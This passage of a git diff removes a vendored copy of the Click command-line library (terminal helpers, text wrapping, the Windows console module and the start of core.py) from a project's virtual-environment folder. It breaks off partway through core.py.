If the filesystem resolution is 1 second, like Mac OS - # 10.12 Extended, or 2 seconds, like FAT32, and the editor - # closes very fast, require_save can fail. Set the modified - # time to be 2 seconds in the past to work around this. - os.utime(name, (os.path.getatime(name), os.path.getmtime(name) - 2)) - # Depending on the resolution, the exact value might not be - # recorded, so get the new recorded value. - timestamp = os.path.getmtime(name) - - self.edit_files((name,)) - - if self.require_save and os.path.getmtime(name) == timestamp: - return None - - with open(name, "rb") as f: - rv = f.read() - - if isinstance(text, (bytes, bytearray)): - return rv - - return rv.decode("utf-8-sig").replace("\r\n", "\n") - finally: - os.unlink(name) - - -def open_url(url: str, wait: bool = False, locate: bool = False) -> int: - import subprocess - - def _unquote_file(url: str) -> str: - from urllib.parse import unquote - - if url.startswith("file://"): - url = unquote(url[7:]) - - return url - - if sys.platform == "darwin": - args = ["open"] - if wait: - args.append("-W") - if locate: - args.append("-R") - args.append(_unquote_file(url)) - null = open("/dev/null", "w") - try: - return subprocess.Popen(args, stderr=null).wait() - finally: - null.close() - elif WIN: - if locate: - url = _unquote_file(url) - args = ["explorer", f"/select,{url}"] - else: - args = ["start"] - if wait: - args.append("/WAIT") - args.append("") - args.append(url) - try: - return subprocess.call(args) - except OSError: - # Command not found - return 127 - elif CYGWIN: - if locate: - url = _unquote_file(url) - args = ["cygstart", os.path.dirname(url)] - else: - args = ["cygstart"] - if wait: - args.append("-w") - args.append(url) - try: - return subprocess.call(args) - except OSError: - # Command not found - return 127 - - try: - if locate: - url = os.path.dirname(_unquote_file(url)) or "." - else: - url = _unquote_file(url) - c = subprocess.Popen(["xdg-open", url]) - if wait: - return c.wait() - return 0 - except OSError: - if url.startswith(("http://", "https://")) and not locate and not wait: - import webbrowser - - webbrowser.open(url) - return 0 - return 1 - - -def _translate_ch_to_exc(ch: str) -> None: - if ch == "\x03": - raise KeyboardInterrupt() - - if ch == "\x04" and not WIN: # Unix-like, Ctrl+D - raise EOFError() - - if ch == "\x1a" and WIN: # Windows, Ctrl+Z - raise EOFError() - - return None - - -if sys.platform == "win32": - import msvcrt - - @contextlib.contextmanager - def raw_terminal() -> cabc.Iterator[int]: - yield -1 - - def getchar(echo: bool) -> str: - # The function `getch` will return a bytes object corresponding to - # the pressed character. Since Windows 10 build 1803, it will also - # return \x00 when called a second time after pressing a regular key. - # - # `getwch` does not share this probably-bugged behavior. Moreover, it - # returns a Unicode object by default, which is what we want. - # - # Either of these functions will return \x00 or \xe0 to indicate - # a special key, and you need to call the same function again to get - # the "rest" of the code. The fun part is that \u00e0 is - # "latin small letter a with grave", so if you type that on a French - # keyboard, you _also_ get a \xe0. - # E.g., consider the Up arrow. This returns \xe0 and then \x48. The - # resulting Unicode string reads as "a with grave" + "capital H". - # This is indistinguishable from when the user actually types - # "a with grave" and then "capital H". - # - # When \xe0 is returned, we assume it's part of a special-key sequence - # and call `getwch` again, but that means that when the user types - # the \u00e0 character, `getchar` doesn't return until a second - # character is typed. - # The alternative is returning immediately, but that would mess up - # cross-platform handling of arrow keys and others that start with - # \xe0. Another option is using `getch`, but then we can't reliably - # read non-ASCII characters, because return values of `getch` are - # limited to the current 8-bit codepage. - # - # Anyway, Click doesn't claim to do this Right(tm), and using `getwch` - # is doing the right thing in more situations than with `getch`. - - if echo: - func = t.cast(t.Callable[[], str], msvcrt.getwche) - else: - func = t.cast(t.Callable[[], str], msvcrt.getwch) - - rv = func() - - if rv in ("\x00", "\xe0"): - # \x00 and \xe0 are control characters that indicate special key, - # see above. - rv += func() - - _translate_ch_to_exc(rv) - return rv - -else: - import termios - import tty - - @contextlib.contextmanager - def raw_terminal() -> cabc.Iterator[int]: - f: t.TextIO | None - fd: int - - if not isatty(sys.stdin): - f = open("/dev/tty") - fd = f.fileno() - else: - fd = sys.stdin.fileno() - f = None - - try: - old_settings = termios.tcgetattr(fd) - - try: - tty.setraw(fd) - yield fd - finally: - termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) - sys.stdout.flush() - - if f is not None: - f.close() - except termios.error: - pass - - def getchar(echo: bool) -> str: - with raw_terminal() as fd: - ch = os.read(fd, 32).decode(get_best_encoding(sys.stdin), "replace") - - if echo and isatty(sys.stdout): - sys.stdout.write(ch) - - _translate_ch_to_exc(ch) - return ch diff --git a/backend/venv/Lib/site-packages/click/_textwrap.py b/backend/venv/Lib/site-packages/click/_textwrap.py deleted file mode 100644 index 97fbee3d..00000000 --- a/backend/venv/Lib/site-packages/click/_textwrap.py +++ /dev/null @@ -1,51 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import textwrap -from contextlib import contextmanager - - -class TextWrapper(textwrap.TextWrapper): - def _handle_long_word( - self, - reversed_chunks: list[str], - cur_line: list[str], - cur_len: int, - width: int, - ) -> None: - space_left = max(width - cur_len, 1) - - if self.break_long_words: - last = reversed_chunks[-1] - cut = last[:space_left] - res = last[space_left:] - cur_line.append(cut) - reversed_chunks[-1] = res - elif not cur_line: - cur_line.append(reversed_chunks.pop()) - - @contextmanager - def extra_indent(self, indent: str) -> cabc.Iterator[None]: - old_initial_indent = self.initial_indent - old_subsequent_indent = self.subsequent_indent - self.initial_indent += indent - self.subsequent_indent += indent - - try: - yield - finally: - self.initial_indent = old_initial_indent - self.subsequent_indent = old_subsequent_indent - - def indent_only(self, text: str) -> str: - rv = [] - - for idx, line in enumerate(text.splitlines()): - indent = self.initial_indent - - if idx > 0: - indent = self.subsequent_indent - - rv.append(f"{indent}{line}") - - return "\n".join(rv) diff --git a/backend/venv/Lib/site-packages/click/_winconsole.py b/backend/venv/Lib/site-packages/click/_winconsole.py deleted file mode 100644 index e56c7c6a..00000000 --- a/backend/venv/Lib/site-packages/click/_winconsole.py +++ /dev/null @@ -1,296 +0,0 @@ -# This module is based on the excellent work by Adam Bartoš who -# provided a lot of what went into the implementation here in -# the discussion to issue1602 in the Python bug tracker. -# -# There are some general differences in regards to how this works -# compared to the original patches as we do not need to patch -# the entire interpreter but just work in our little world of -# echo and prompt. -from __future__ import annotations - -import collections.abc as cabc -import io -import sys -import time -import typing as t -from ctypes import Array -from ctypes import byref -from ctypes import c_char -from ctypes import c_char_p -from ctypes import c_int -from ctypes import c_ssize_t -from ctypes import c_ulong -from ctypes import c_void_p -from ctypes import POINTER -from ctypes import py_object -from ctypes import Structure -from ctypes.wintypes import DWORD -from ctypes.wintypes import HANDLE -from ctypes.wintypes import LPCWSTR -from ctypes.wintypes import LPWSTR - -from ._compat import _NonClosingTextIOWrapper - -assert sys.platform == "win32" -import msvcrt # noqa: E402 -from ctypes import windll # noqa: E402 -from ctypes import WINFUNCTYPE # noqa: E402 - -c_ssize_p = POINTER(c_ssize_t) - -kernel32 = windll.kernel32 -GetStdHandle = kernel32.GetStdHandle -ReadConsoleW = kernel32.ReadConsoleW -WriteConsoleW = kernel32.WriteConsoleW -GetConsoleMode = kernel32.GetConsoleMode -GetLastError = kernel32.GetLastError -GetCommandLineW = WINFUNCTYPE(LPWSTR)(("GetCommandLineW", windll.kernel32)) -CommandLineToArgvW = WINFUNCTYPE(POINTER(LPWSTR), LPCWSTR, POINTER(c_int))( - ("CommandLineToArgvW", windll.shell32) -) -LocalFree = WINFUNCTYPE(c_void_p, c_void_p)(("LocalFree", windll.kernel32)) - -STDIN_HANDLE = GetStdHandle(-10) -STDOUT_HANDLE = GetStdHandle(-11) -STDERR_HANDLE = GetStdHandle(-12) - -PyBUF_SIMPLE = 0 -PyBUF_WRITABLE = 1 - -ERROR_SUCCESS = 0 -ERROR_NOT_ENOUGH_MEMORY = 8 -ERROR_OPERATION_ABORTED = 995 - -STDIN_FILENO = 0 -STDOUT_FILENO = 1 -STDERR_FILENO = 2 - -EOF = b"\x1a" -MAX_BYTES_WRITTEN = 32767 - -if t.TYPE_CHECKING: - try: - # Using `typing_extensions.Buffer` instead of `collections.abc` - # on Windows for some reason does not have `Sized` implemented. - from collections.abc import Buffer # type: ignore - except ImportError: - from typing_extensions import Buffer - -try: - from ctypes import pythonapi -except ImportError: - # On PyPy we cannot get buffers so our ability to operate here is - # severely limited. - get_buffer = None -else: - - class Py_buffer(Structure): - _fields_ = [ # noqa: RUF012 - ("buf", c_void_p), - ("obj", py_object), - ("len", c_ssize_t), - ("itemsize", c_ssize_t), - ("readonly", c_int), - ("ndim", c_int), - ("format", c_char_p), - ("shape", c_ssize_p), - ("strides", c_ssize_p), - ("suboffsets", c_ssize_p), - ("internal", c_void_p), - ] - - PyObject_GetBuffer = pythonapi.PyObject_GetBuffer - PyBuffer_Release = pythonapi.PyBuffer_Release - - def get_buffer(obj: Buffer, writable: bool = False) -> Array[c_char]: - buf = Py_buffer() - flags: int = PyBUF_WRITABLE if writable else PyBUF_SIMPLE - PyObject_GetBuffer(py_object(obj), byref(buf), flags) - - try: - buffer_type = c_char * buf.len - out: Array[c_char] = buffer_type.from_address(buf.buf) - return out - finally: - PyBuffer_Release(byref(buf)) - - -class _WindowsConsoleRawIOBase(io.RawIOBase): - def __init__(self, handle: int | None) -> None: - self.handle = handle - - def isatty(self) -> t.Literal[True]: - super().isatty() - return True - - -class _WindowsConsoleReader(_WindowsConsoleRawIOBase): - def readable(self) -> t.Literal[True]: - return True - - def readinto(self, b: Buffer) -> int: - bytes_to_be_read = len(b) - if not bytes_to_be_read: - return 0 - elif bytes_to_be_read % 2: - raise ValueError( - "cannot read odd number of bytes from UTF-16-LE encoded console" - ) - - buffer = get_buffer(b, writable=True) - code_units_to_be_read = bytes_to_be_read // 2 - code_units_read = c_ulong() - - rv = ReadConsoleW( - HANDLE(self.handle), - buffer, - code_units_to_be_read, - byref(code_units_read), - None, - ) - if GetLastError() == ERROR_OPERATION_ABORTED: - # wait for KeyboardInterrupt - time.sleep(0.1) - if not rv: - raise OSError(f"Windows error: {GetLastError()}") - - if buffer[0] == EOF: - return 0 - return 2 * code_units_read.value - - -class _WindowsConsoleWriter(_WindowsConsoleRawIOBase): - def writable(self) -> t.Literal[True]: - return True - - @staticmethod - def _get_error_message(errno: int) -> str: - if errno == ERROR_SUCCESS: - return "ERROR_SUCCESS" - elif errno == ERROR_NOT_ENOUGH_MEMORY: - return "ERROR_NOT_ENOUGH_MEMORY" - return f"Windows error {errno}" - - def write(self, b: Buffer) -> int: - bytes_to_be_written = len(b) - buf = get_buffer(b) - code_units_to_be_written = min(bytes_to_be_written, MAX_BYTES_WRITTEN) // 2 - code_units_written = c_ulong() - - WriteConsoleW( - HANDLE(self.handle), - buf, - code_units_to_be_written, - byref(code_units_written), - None, - ) - bytes_written = 2 * code_units_written.value - - if bytes_written == 0 and bytes_to_be_written > 0: - raise OSError(self._get_error_message(GetLastError())) - return bytes_written - - -class ConsoleStream: - def __init__(self, text_stream: t.TextIO, byte_stream: t.BinaryIO) -> None: - self._text_stream = text_stream - self.buffer = byte_stream - - @property - def name(self) -> str: - return self.buffer.name - - def write(self, x: t.AnyStr) -> int: - if isinstance(x, str): - return self._text_stream.write(x) - try: - self.flush() - except Exception: - pass - return self.buffer.write(x) - - def writelines(self, lines: cabc.Iterable[t.AnyStr]) -> None: - for line in lines: - self.write(line) - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._text_stream, name) - - def isatty(self) -> bool: - return self.buffer.isatty() - - def __repr__(self) -> str: - return f"" - - -def _get_text_stdin(buffer_stream: t.BinaryIO) -> t.TextIO: - text_stream = _NonClosingTextIOWrapper( - io.BufferedReader(_WindowsConsoleReader(STDIN_HANDLE)), - "utf-16-le", - "strict", - line_buffering=True, - ) - return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) - - -def _get_text_stdout(buffer_stream: t.BinaryIO) -> t.TextIO: - text_stream = _NonClosingTextIOWrapper( - io.BufferedWriter(_WindowsConsoleWriter(STDOUT_HANDLE)), - "utf-16-le", - "strict", - line_buffering=True, - ) - return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) - - -def _get_text_stderr(buffer_stream: t.BinaryIO) -> t.TextIO: - text_stream = _NonClosingTextIOWrapper( - io.BufferedWriter(_WindowsConsoleWriter(STDERR_HANDLE)), - "utf-16-le", - "strict", - line_buffering=True, - ) - return t.cast(t.TextIO, ConsoleStream(text_stream, buffer_stream)) - - -_stream_factories: cabc.Mapping[int, t.Callable[[t.BinaryIO], t.TextIO]] = { - 0: _get_text_stdin, - 1: _get_text_stdout, - 2: _get_text_stderr, -} - - -def _is_console(f: t.TextIO) -> bool: - if not hasattr(f, "fileno"): - return False - - try: - fileno = f.fileno() - except (OSError, io.UnsupportedOperation): - return False - - handle = msvcrt.get_osfhandle(fileno) - return bool(GetConsoleMode(handle, byref(DWORD()))) - - -def _get_windows_console_stream( - f: t.TextIO, encoding: str | None, errors: str | None -) -> t.TextIO | None: - if ( - get_buffer is None - or encoding not in {"utf-16-le", None} - or errors not in {"strict", None} - or not _is_console(f) - ): - return None - - func = _stream_factories.get(f.fileno()) - if func is None: - return None - - b = getattr(f, "buffer", None) - - if b is None: - return None - - return func(b) diff --git a/backend/venv/Lib/site-packages/click/core.py b/backend/venv/Lib/site-packages/click/core.py deleted file mode 100644 index f57ada62..00000000 --- a/backend/venv/Lib/site-packages/click/core.py +++ /dev/null @@ -1,3135 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import enum -import errno -import inspect -import os -import sys -import typing as t -from collections import abc -from collections import Counter -from contextlib import AbstractContextManager -from contextlib import contextmanager -from contextlib import ExitStack -from functools import update_wrapper -from gettext import gettext as _ -from gettext import ngettext -from itertools import repeat -from types import TracebackType - -from . import types -from .exceptions import Abort -from .exceptions import BadParameter -from .exceptions import ClickException -from .exceptions import Exit -from .exceptions import MissingParameter -from .exceptions import NoArgsIsHelpError -from .exceptions import UsageError -from .formatting import HelpFormatter -from .formatting import join_options -from .globals import pop_context -from .globals import push_context -from .parser import _flag_needs_value -from .parser import _OptionParser -from .parser import _split_opt -from .termui import confirm -from .termui import prompt -from .termui import style -from .utils import _detect_program_name -from .utils import _expand_args -from .utils import echo -from .utils import make_default_short_help -from .utils import make_str -from .utils import PacifyFlushWrapper - -if t.TYPE_CHECKING: - from .shell_completion import CompletionItem - -F = t.TypeVar("F", bound="t.Callable[..., t.Any]") -V = t.TypeVar("V") - - -def _complete_visible_commands( - ctx: Context, incomplete: str -) -> cabc.Iterator[tuple[str, Command]]: - """List all the subcommands of a group that start with the - incomplete value and aren't hidden. - - :param ctx: Invocation context for the group. - :param incomplete: Value being completed. May be empty. - """ - multi = t.cast(Group, ctx.command) - - for name in multi.list_commands(ctx): - if name.startswith(incomplete): - command = multi.get_command(ctx, name) - - if command is not None and not command.hidden: - yield name, command - - -def _check_nested_chain( - base_command: Group, cmd_name: str, cmd: Command, register: bool = False -) -> None: - if not base_command.chain or not isinstance(cmd, Group): - return - - if register: - message = ( - f"It is not possible to add the group {cmd_name!r} to another" - f" group {base_command.name!r} that is in chain mode." - ) - else: - message = ( - f"Found the group {cmd_name!r} as subcommand to another group " - f" {base_command.name!r} that is in chain mode. This is not supported." - ) - - raise RuntimeError(message) - - -def batch(iterable: cabc.Iterable[V], batch_size: int) -> list[tuple[V, ...]]: - return list(zip(*repeat(iter(iterable), batch_size), strict=False)) - - -@contextmanager -def augment_usage_errors( - ctx: Context, param: Parameter | None = None -) -> cabc.Iterator[None]: - """Context manager that attaches extra information to exceptions.""" - try: - yield - except BadParameter as e: - if e.ctx is None: - e.ctx = ctx - if param is not None and e.param is None: - e.param = param - raise - except UsageError as e: - if e.ctx is None: - e.ctx = ctx - raise - - -def iter_params_for_processing( - invocation_order: cabc.Sequence[Parameter], - declaration_order: cabc.Sequence[Parameter], -) -> list[Parameter]: - """Returns all declared parameters in the order they should be processed. - - The declared parameters are re-shuffled depending on the order in which - they were invoked, as well as the eagerness of each parameters. - - The invocation order takes precedence over the declaration order. I.e. the - order in which the user provided them to the CLI is respected. - - This behavior and its effect on callback evaluation is detailed at: - https://click.palletsprojects.com/en/stable/advanced/#callback-evaluation-order - """ - - def sort_key(item: Parameter) -> tuple[bool, float]: - try: - idx: float = invocation_order.index(item) - except ValueError: - idx = float("inf") - - return not item.is_eager, idx - - return sorted(declaration_order, key=sort_key) - - -class ParameterSource(enum.Enum): - """This is an :class:`~enum.Enum` that indicates the source of a - parameter's value. - - Use :meth:`click.Context.get_parameter_source` to get the - source for a parameter by name. - - .. versionchanged:: 8.0 - Use :class:`~enum.Enum` and drop the ``validate`` method. - - .. versionchanged:: 8.0 - Added the ``PROMPT`` value. - """ - - COMMANDLINE = enum.auto() - """The value was provided by the command line args.""" - ENVIRONMENT = enum.auto() - """The value was provided with an environment variable.""" - DEFAULT = enum.auto() - """Used the default specified by the parameter.""" - DEFAULT_MAP = enum.auto() - """Used a default provided by :attr:`Context.default_map`.""" - PROMPT = enum.auto() - """Used a prompt to confirm a default or provide a value.""" - - -class Context: - """The context is a special internal object that holds state relevant - for the script execution at every single level. It's normally invisible - to commands unless they opt-in to getting access to it. - - The context is useful as it can pass internal objects around and can - control special execution features such as reading data from - environment variables. - - A context can be used as context manager in which case it will call - :meth:`close` on teardown. - - :param command: the command class for this context. - :param parent: the parent context. - :param info_name: the info name for this invocation. Generally this - is the most descriptive name for the script or - command. For the toplevel script it is usually - the name of the script, for commands below it it's - the name of the script. - :param obj: an arbitrary object of user data. - :param auto_envvar_prefix: the prefix to use for automatic environment - variables. If this is `None` then reading - from environment variables is disabled. This - does not affect manually set environment - variables which are always read. - :param default_map: a dictionary (like object) with default values - for parameters. - :param terminal_width: the width of the terminal. The default is - inherit from parent context. If no context - defines the terminal width then auto - detection will be applied. - :param max_content_width: the maximum width for content rendered by - Click (this currently only affects help - pages). This defaults to 80 characters if - not overridden. In other words: even if the - terminal is larger than that, Click will not - format things wider than 80 characters by - default. In addition to that, formatters might - add some safety mapping on the right. - :param resilient_parsing: if this flag is enabled then Click will - parse without any interactivity or callback - invocation. Default values will also be - ignored. This is useful for implementing - things such as completion support. - :param allow_extra_args: if this is set to `True` then extra arguments - at the end will not raise an error and will be - kept on the context. The default is to inherit - from the command. - :param allow_interspersed_args: if this is set to `False` then options - and arguments cannot be mixed. The - default is to inherit from the command. - :param ignore_unknown_options: instructs click to ignore options it does - not know and keeps them for later - processing. - :param help_option_names: optionally a list of strings that define how - the default help parameter is named. The - default is ``['--help']``. - :param token_normalize_func: an optional function that is used to - normalize tokens (options, choices, - etc.). This for instance can be used to - implement case insensitive behavior. - :param color: controls if the terminal supports ANSI colors or not. The - default is autodetection. This is only needed if ANSI - codes are used in texts that Click prints which is by - default not the case. This for instance would affect - help output. - :param show_default: Show the default value for commands. If this - value is not set, it defaults to the value from the parent - context. ``Command.show_default`` overrides this default for the - specific command. - - .. versionchanged:: 8.2 - The ``protected_args`` attribute is deprecated and will be removed in - Click 9.0. ``args`` will contain remaining unparsed tokens. - - .. versionchanged:: 8.1 - The ``show_default`` parameter is overridden by - ``Command.show_default``, instead of the other way around. - - .. versionchanged:: 8.0 - The ``show_default`` parameter defaults to the value from the - parent context. - - .. versionchanged:: 7.1 - Added the ``show_default`` parameter. - - .. versionchanged:: 4.0 - Added the ``color``, ``ignore_unknown_options``, and - ``max_content_width`` parameters. - - .. versionchanged:: 3.0 - Added the ``allow_extra_args`` and ``allow_interspersed_args`` - parameters. - - .. versionchanged:: 2.0 - Added the ``resilient_parsing``, ``help_option_names``, and - ``token_normalize_func`` parameters. - """ - - #: The formatter class to create with :meth:`make_formatter`. - #: - #: .. versionadded:: 8.0 - formatter_class: type[HelpFormatter] = HelpFormatter - - def __init__( - self, - command: Command, - parent: Context | None = None, - info_name: str | None = None, - obj: t.Any | None = None, - auto_envvar_prefix: str | None = None, - default_map: cabc.MutableMapping[str, t.Any] | None = None, - terminal_width: int | None = None, - max_content_width: int | None = None, - resilient_parsing: bool = False, - allow_extra_args: bool | None = None, - allow_interspersed_args: bool | None = None, - ignore_unknown_options: bool | None = None, - help_option_names: list[str] | None = None, - token_normalize_func: t.Callable[[str], str] | None = None, - color: bool | None = None, - show_default: bool | None = None, - ) -> None: - #: the parent context or `None` if none exists. - self.parent = parent - #: the :class:`Command` for this context. - self.command = command - #: the descriptive information name - self.info_name = info_name - #: Map of parameter names to their parsed values. Parameters - #: with ``expose_value=False`` are not stored. - self.params: dict[str, t.Any] = {} - #: the leftover arguments. - self.args: list[str] = [] - #: protected arguments. These are arguments that are prepended - #: to `args` when certain parsing scenarios are encountered but - #: must be never propagated to another arguments. This is used - #: to implement nested parsing. - self._protected_args: list[str] = [] - #: the collected prefixes of the command's options. - self._opt_prefixes: set[str] = set(parent._opt_prefixes) if parent else set() - - if obj is None and parent is not None: - obj = parent.obj - - #: the user object stored. - self.obj: t.Any = obj - self._meta: dict[str, t.Any] = getattr(parent, "meta", {}) - - #: A dictionary (-like object) with defaults for parameters. - if ( - default_map is None - and info_name is not None - and parent is not None - and parent.default_map is not None - ): - default_map = parent.default_map.get(info_name) - - self.default_map: cabc.MutableMapping[str, t.Any] | None = default_map - - #: This flag indicates if a subcommand is going to be executed. A - #: group callback can use this information to figure out if it's - #: being executed directly or because the execution flow passes - #: onwards to a subcommand. By default it's None, but it can be - #: the name of the subcommand to execute. - #: - #: If chaining is enabled this will be set to ``'*'`` in case - #: any commands are executed. It is however not possible to - #: figure out which ones. If you require this knowledge you - #: should use a :func:`result_callback`. - self.invoked_subcommand: str | None = None - - if terminal_width is None and parent is not None: - terminal_width = parent.terminal_width - - #: The width of the terminal (None is autodetection). - self.terminal_width: int | None = terminal_width - - if max_content_width is None and parent is not None: - max_content_width = parent.max_content_width - - #: The maximum width of formatted content (None implies a sensible - #: default which is 80 for most things). - self.max_content_width: int | None = max_content_width - - if allow_extra_args is None: - allow_extra_args = command.allow_extra_args - - #: Indicates if the context allows extra args or if it should - #: fail on parsing. - #: - #: .. versionadded:: 3.0 - self.allow_extra_args = allow_extra_args - - if allow_interspersed_args is None: - allow_interspersed_args = command.allow_interspersed_args - - #: Indicates if the context allows mixing of arguments and - #: options or not. - #: - #: .. versionadded:: 3.0 - self.allow_interspersed_args: bool = allow_interspersed_args - - if ignore_unknown_options is None: - ignore_unknown_options = command.ignore_unknown_options - - #: Instructs click to ignore options that a command does not - #: understand and will store it on the context for later - #: processing. This is primarily useful for situations where you - #: want to call into external programs. Generally this pattern is - #: strongly discouraged because it's not possibly to losslessly - #: forward all arguments. - #: - #: .. versionadded:: 4.0 - self.ignore_unknown_options: bool = ignore_unknown_options - - if help_option_names is None: - if parent is not None: - help_option_names = parent.help_option_names - else: - help_option_names = ["--help"] - - #: The names for the help options. - self.help_option_names: list[str] = help_option_names - - if token_normalize_func is None and parent is not None: - token_normalize_func = parent.token_normalize_func - - #: An optional normalization function for tokens. This is - #: options, choices, commands etc. - self.token_normalize_func: t.Callable[[str], str] | None = token_normalize_func - - #: Indicates if resilient parsing is enabled. In that case Click - #: will do its best to not cause any failures and default values - #: will be ignored. Useful for completion. - self.resilient_parsing: bool = resilient_parsing - - # If there is no envvar prefix yet, but the parent has one and - # the command on this level has a name, we can expand the envvar - # prefix automatically. - if auto_envvar_prefix is None: - if ( - parent is not None - and parent.auto_envvar_prefix is not None - and self.info_name is not None - ): - auto_envvar_prefix = ( - f"{parent.auto_envvar_prefix}_{self.info_name.upper()}" - ) - else: - auto_envvar_prefix = auto_envvar_prefix.upper() - - if auto_envvar_prefix is not None: - auto_envvar_prefix = auto_envvar_prefix.replace("-", "_") - - self.auto_envvar_prefix: str | None = auto_envvar_prefix - - if color is None and parent is not None: - color = parent.color - - #: Controls if styling output is wanted or not. - self.color: bool | None = color - - if show_default is None and parent is not None: - show_default = parent.show_default - - #: Show option default values when formatting help text. - self.show_default: bool | None = show_default - - self._close_callbacks: list[t.Callable[[], t.Any]] = [] - self._depth = 0 - self._parameter_source: dict[str, ParameterSource] = {} - self._exit_stack = ExitStack() - - @property - def protected_args(self) -> list[str]: - import warnings - - warnings.warn( - "'protected_args' is deprecated and will be removed in Click 9.0." - " 'args' will contain remaining unparsed tokens.", - DeprecationWarning, - stacklevel=2, - ) - return self._protected_args - - def to_info_dict(self) -> dict[str, t.Any]: - """Gather information that could be useful for a tool generating - user-facing documentation. This traverses the entire CLI - structure. - - .. code-block:: python - - with Context(cli) as ctx: - info = ctx.to_info_dict() - - .. versionadded:: 8.0 - """ - return { - "command": self.command.to_info_dict(self), - "info_name": self.info_name, - "allow_extra_args": self.allow_extra_args, - "allow_interspersed_args": self.allow_interspersed_args, - "ignore_unknown_options": self.ignore_unknown_options, - "auto_envvar_prefix": self.auto_envvar_prefix, - } - - def __enter__(self) -> Context: - self._depth += 1 - push_context(self) - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self._depth -= 1 - if self._depth == 0: - self.close() - pop_context() - - @contextmanager - def scope(self, cleanup: bool = True) -> cabc.Iterator[Context]: - """This helper method can be used with the context object to promote - it to the current thread local (see :func:`get_current_context`). - The default behavior of this is to invoke the cleanup functions which - can be disabled by setting `cleanup` to `False`. The cleanup - functions are typically used for things such as closing file handles. - - If the cleanup is intended the context object can also be directly - used as a context manager. - - Example usage:: - - with ctx.scope(): - assert get_current_context() is ctx - - This is equivalent:: - - with ctx: - assert get_current_context() is ctx - - .. versionadded:: 5.0 - - :param cleanup: controls if the cleanup functions should be run or - not. The default is to run these functions. In - some situations the context only wants to be - temporarily pushed in which case this can be disabled. - Nested pushes automatically defer the cleanup. - """ - if not cleanup: - self._depth += 1 - try: - with self as rv: - yield rv - finally: - if not cleanup: - self._depth -= 1 - - @property - def meta(self) -> dict[str, t.Any]: - """This is a dictionary which is shared with all the contexts - that are nested. It exists so that click utilities can store some - state here if they need to. It is however the responsibility of - that code to manage this dictionary well. - - The keys are supposed to be unique dotted strings. For instance - module paths are a good choice for it. What is stored in there is - irrelevant for the operation of click. However what is important is - that code that places data here adheres to the general semantics of - the system. - - Example usage:: - - LANG_KEY = f'{__name__}.lang' - - def set_language(value): - ctx = get_current_context() - ctx.meta[LANG_KEY] = value - - def get_language(): - return get_current_context().meta.get(LANG_KEY, 'en_US') - - .. versionadded:: 5.0 - """ - return self._meta - - def make_formatter(self) -> HelpFormatter: - """Creates the :class:`~click.HelpFormatter` for the help and - usage output. - - To quickly customize the formatter class used without overriding - this method, set the :attr:`formatter_class` attribute. - - .. versionchanged:: 8.0 - Added the :attr:`formatter_class` attribute. - """ - return self.formatter_class( - width=self.terminal_width, max_width=self.max_content_width - ) - - def with_resource(self, context_manager: AbstractContextManager[V]) -> V: - """Register a resource as if it were used in a ``with`` - statement. The resource will be cleaned up when the context is - popped. - - Uses :meth:`contextlib.ExitStack.enter_context`. It calls the - resource's ``__enter__()`` method and returns the result. When - the context is popped, it closes the stack, which calls the - resource's ``__exit__()`` method. - - To register a cleanup function for something that isn't a - context manager, use :meth:`call_on_close`. Or use something - from :mod:`contextlib` to turn it into a context manager first. - - .. code-block:: python - - @click.group() - @click.option("--name") - @click.pass_context - def cli(ctx): - ctx.obj = ctx.with_resource(connect_db(name)) - - :param context_manager: The context manager to enter. - :return: Whatever ``context_manager.__enter__()`` returns. - - .. versionadded:: 8.0 - """ - return self._exit_stack.enter_context(context_manager) - - def call_on_close(self, f: t.Callable[..., t.Any]) -> t.Callable[..., t.Any]: - """Register a function to be called when the context tears down. - - This can be used to close resources opened during the script - execution. Resources that support Python's context manager - protocol which would be used in a ``with`` statement should be - registered with :meth:`with_resource` instead. - - :param f: The function to execute on teardown. - """ - return self._exit_stack.callback(f) - - def close(self) -> None: - """Invoke all close callbacks registered with - :meth:`call_on_close`, and exit all context managers entered - with :meth:`with_resource`. - """ - self._exit_stack.close() - # In case the context is reused, create a new exit stack. - self._exit_stack = ExitStack() - - @property - def command_path(self) -> str: - """The computed command path. This is used for the ``usage`` - information on the help page. It's automatically created by - combining the info names of the chain of contexts to the root. - """ - rv = "" - if self.info_name is not None: - rv = self.info_name - if self.parent is not None: - parent_command_path = [self.parent.command_path] - - if isinstance(self.parent.command, Command): - for param in self.parent.command.get_params(self): - parent_command_path.extend(param.get_usage_pieces(self)) - - rv = f"{' '.join(parent_command_path)} {rv}" - return rv.lstrip() - - def find_root(self) -> Context: - """Finds the outermost context.""" - node = self - while node.parent is not None: - node = node.parent - return node - - def find_object(self, object_type: type[V]) -> V | None: - """Finds the closest object of a given type.""" - node: Context | None = self - - while node is not None: - if isinstance(node.obj, object_type): - return node.obj - - node = node.parent - - return None - - def ensure_object(self, object_type: type[V]) -> V: - """Like :meth:`find_object` but sets the innermost object to a - new instance of `object_type` if it does not exist. - """ - rv = self.find_object(object_type) - if rv is None: - self.obj = rv = object_type() - return rv - - @t.overload - def lookup_default( - self, name: str, call: t.Literal[True] = True - ) -> t.Any | None: ... - - @t.overload - def lookup_default( - self, name: str, call: t.Literal[False] = ... - ) -> t.Any | t.Callable[[], t.Any] | None: ... - - def lookup_default(self, name: str, call: bool = True) -> t.Any | None: - """Get the default for a parameter from :attr:`default_map`. - - :param name: Name of the parameter. - :param call: If the default is a callable, call it. Disable to - return the callable instead. - - .. versionchanged:: 8.0 - Added the ``call`` parameter. - """ - if self.default_map is not None: - value = self.default_map.get(name) - - if call and callable(value): - return value() - - return value - - return None - - def fail(self, message: str) -> t.NoReturn: - """Aborts the execution of the program with a specific error - message. - - :param message: the error message to fail with. - """ - raise UsageError(message, self) - - def abort(self) -> t.NoReturn: - """Aborts the script.""" - raise Abort() - - def exit(self, code: int = 0) -> t.NoReturn: - """Exits the application with a given exit code. - - .. versionchanged:: 8.2 - Callbacks and context managers registered with :meth:`call_on_close` - and :meth:`with_resource` are closed before exiting. - """ - self.close() - raise Exit(code) - - def get_usage(self) -> str: - """Helper method to get formatted usage string for the current - context and command. - """ - return self.command.get_usage(self) - - def get_help(self) -> str: - """Helper method to get formatted help page for the current - context and 